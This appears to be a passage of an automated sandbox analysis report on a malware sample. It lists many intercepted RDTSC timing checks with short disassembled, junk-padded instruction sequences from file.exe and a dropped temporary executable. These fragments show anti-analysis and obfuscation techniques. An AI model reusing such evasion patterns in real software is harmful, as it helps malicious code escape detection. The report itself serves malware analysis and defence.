Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5360160 second address: 536016A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 321F20CEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 536016A second address: 53601A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF2192CCE11h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FF2192CCE0Ah 0x00000015 xor si, 1948h 0x0000001a jmp 00007FF2192CCE0Bh 0x0000001f popfd 0x00000020 push eax 0x00000021 pop edi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5360315 second address: 536031B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 536036E second address: 5360372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5360372 second address: 5360381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 test eax, eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5360381 second address: 5360387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5360387 second address: 536038B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 536038B second address: 53603A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FF28AB9AEFFh 0x0000000e pushad 0x0000000f mov dx, B372h 0x00000013 push eax 0x00000014 push edx 0x00000015 mov dh, 64h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53603A2 second address: 53603C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 js 00007FF218C0AA35h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF218C0A9E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53603C9 second address: 53603CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53603CD second address: 53603D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53603D3 second address: 53603D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53603D9 second address: 5360464 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-14h], edi 0x0000000b jmp 00007FF218C0A9E4h 0x00000010 jne 00007FF28A4D8A79h 0x00000016 jmp 00007FF218C0A9E0h 0x0000001b mov ebx, dword ptr [ebp+08h] 0x0000001e pushad 0x0000001f call 00007FF218C0A9DAh 0x00000024 pop edi 0x00000025 popad 0x00000026 lea eax, dword ptr [ebp-2Ch] 0x00000029 pushad 0x0000002a movzx esi, dx 0x0000002d mov si, di 0x00000030 popad 0x00000031 push esi 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007FF218C0A9E3h 0x0000003b sbb eax, 0874FEEEh 0x00000041 jmp 00007FF218C0A9E9h 0x00000046 popfd 0x00000047 mov ah, EAh 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5360464 second address: 53604C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c pushad 0x0000000d mov edi, ecx 0x0000000f mov cx, E8B9h 0x00000013 popad 0x00000014 nop 0x00000015 jmp 00007FF2192CCE14h 0x0000001a push eax 0x0000001b pushad 0x0000001c mov dh, C9h 0x0000001e jmp 00007FF2192CCE0Ah 0x00000023 popad 0x00000024 nop 0x00000025 jmp 00007FF2192CCE10h 0x0000002a xchg eax, ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FF2192CCE0Ah 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53604C1 second address: 53604C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53604C7 second address: 53604FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF2192CCE0Bh 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 movzx eax, di 0x00000014 call 00007FF2192CCE11h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5360527 second address: 5360578 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF218C0A9E7h 0x00000008 pop esi 0x00000009 mov edx, 5D4E68BCh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 test esi, esi 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FF218C0A9E1h 0x0000001a xor si, EE16h 0x0000001f jmp 00007FF218C0A9E1h 0x00000024 popfd 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5350DAB second address: 5350DE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF2192CCE18h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5350DE5 second address: 5350DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5350DE9 second address: 5350DEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5350DEF second address: 5360A84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b and bl, 00000001h 0x0000000e movzx eax, bl 0x00000011 lea esp, dword ptr [ebp-0Ch] 0x00000014 pop esi 0x00000015 pop edi 0x00000016 pop ebx 0x00000017 pop ebp 0x00000018 ret 0x00000019 add esp, 04h 0x0000001c jmp dword ptr [002AA41Ch+ebx*4] 0x00000023 push edi 0x00000024 call 00007FF218C303D7h 0x00000029 push ebp 0x0000002a push ebx 0x0000002b push edi 0x0000002c push esi 0x0000002d sub esp, 000001D0h 0x00000033 mov dword ptr [esp+000001B4h], 002ACB10h 0x0000003e mov dword ptr [esp+000001B0h], 000000D0h 0x00000049 mov dword ptr [esp], 00000000h 0x00000050 mov eax, dword ptr [002A81DCh] 0x00000055 call eax 0x00000057 mov edi, edi 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FF218C0A9E9h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5360A84 second address: 5360A9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5360A9E second address: 5360ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FF218C0A9DBh 0x0000000c xchg eax, ebp 0x0000000d jmp 00007FF218C0A9E6h 0x00000012 mov ebp, esp 0x00000014 pushad 0x00000015 mov ebx, esi 0x00000017 movzx esi, bx 0x0000001a popad 0x0000001b cmp dword ptr [76C8459Ch], 05h 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 mov dh, 67h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5360ADC second address: 5360B20 instructions: 0x00000000 rdtsc 0x00000002 call 00007FF2192CCE0Ah 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushfd 0x0000000b jmp 00007FF2192CCE0Bh 0x00000010 jmp 00007FF2192CCE13h 0x00000015 popfd 0x00000016 popad 0x00000017 je 00007FF28AB8ACF9h 0x0000001d pushad 0x0000001e mov cx, 500Bh 0x00000022 popad 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 movzx esi, dx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5360C50 second address: 5360C86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FF28A4BE703h 0x0000000e pushad 0x0000000f movsx edx, ax 0x00000012 jmp 00007FF218C0A9E4h 0x00000017 popad 0x00000018 cmp dword ptr [ebp+08h], 00002000h 0x0000001f pushad 0x00000020 mov dx, ax 0x00000023 push eax 0x00000024 push edx 0x00000025 mov edi, eax 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 538031A second address: 5380349 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FF2192CCE13h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380349 second address: 538034E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 538034E second address: 53803AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF2192CCE12h 0x00000009 or esi, 4AFA0B68h 0x0000000f jmp 00007FF2192CCE0Bh 0x00000014 popfd 0x00000015 mov di, ax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007FF2192CCE15h 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 mov ebx, 4693175Eh 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FF2192CCE10h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53803AE second address: 53803B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53803B4 second address: 53803B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53804CD second address: 53804D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53804D3 second address: 53804F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FF28AB82DB9h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53804F0 second address: 53804F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53804F4 second address: 538050F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 538050F second address: 5380542 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FF218C0A9DEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1BFB0E second address: 1BFB12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1BEDAD second address: 1BEDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push esi 0x00000008 jmp 00007FF218C0A9DCh 0x0000000d je 00007FF218C0A9D6h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1C2E2A second address: 1C2E2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1C2E2E second address: 1C2E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007FF218C0A9E8h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007FF218C0A9E4h 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1C2E6D second address: 1C2E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1C2ED6 second address: 1C2EDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1C2EDA second address: 1C2EE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1C2EE0 second address: 1C2F58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FF218C0A9E8h 0x00000010 jnl 00007FF218C0A9DCh 0x00000016 popad 0x00000017 nop 0x00000018 or edx, dword ptr [ebp+122D367Dh] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007FF218C0A9D8h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 0000001Bh 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a push 6E8AA6A2h 0x0000003f push eax 0x00000040 push edx 0x00000041 ja 00007FF218C0A9DCh 0x00000047 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1C2F58 second address: 1C2FB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 6E8AA622h 0x00000011 jmp 00007FF2192CCE12h 0x00000016 push 00000003h 0x00000018 mov di, cx 0x0000001b mov esi, dword ptr [ebp+122D3859h] 0x00000021 push 00000000h 0x00000023 or esi, dword ptr [ebp+122D374Dh] 0x00000029 push 00000003h 0x0000002b mov dword ptr [ebp+122D227Eh], eax 0x00000031 push 8726FC64h 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FF2192CCE13h 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1C2FB0 second address: 1C2FB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1C2FB5 second address: 1C2FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1C2FBB second address: 1C3002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 38D9039Ch 0x0000000e call 00007FF218C0A9E0h 0x00000013 movsx esi, ax 0x00000016 pop ecx 0x00000017 lea ebx, dword ptr [ebp+12448D6Ah] 0x0000001d adc ecx, 27C60D38h 0x00000023 push eax 0x00000024 pushad 0x00000025 jmp 00007FF218C0A9E3h 0x0000002a push eax 0x0000002b push edx 0x0000002c push ecx 0x0000002d pop ecx 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E2E97 second address: 1E2E9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E0D67 second address: 1E0D73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E0EE4 second address: 1E0EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E0EEA second address: 1E0F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF218C0A9E8h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E0F0B second address: 1E0F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E0F11 second address: 1E0F17 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E0F17 second address: 1E0F3B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF2192CCE08h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FF2192CCE16h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E0F3B second address: 1E0F3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E12F8 second address: 1E1301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E144B second address: 1E1470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF218C0A9E3h 0x00000009 js 00007FF218C0A9D6h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E1763 second address: 1E1767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E1767 second address: 1E1771 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF218C0A9D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E1771 second address: 1E1777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E1777 second address: 1E1791 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF218C0A9E4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E1791 second address: 1E1795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E1795 second address: 1E17D8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FF218C0A9E5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007FF218C0A9D8h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 jo 00007FF218C0A9D8h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pushad 0x0000001d push edx 0x0000001e pop edx 0x0000001f jmp 00007FF218C0A9E0h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E73AD second address: 1E73B7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF2192CCE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1E760E second address: 1E7618 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1EF172 second address: 1EF18D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF2192CCE16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1B6F00 second address: 1B6F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1B6F09 second address: 1B6F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1B6F0F second address: 1B6F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F0EA7 second address: 1F0EC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 14A0EF70h 0x0000000f mov si, 5BA0h 0x00000013 call 00007FF2192CCE09h 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push edi 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F0EC8 second address: 1F0F01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 jbe 00007FF218C0A9D8h 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007FF218C0A9E6h 0x00000017 popad 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 jno 00007FF218C0A9D6h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F0F01 second address: 1F0F31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FF2192CCE17h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jnl 00007FF2192CCE06h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe RDTSC instruction interceptor: First address: 1F106C second address: 1F1070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
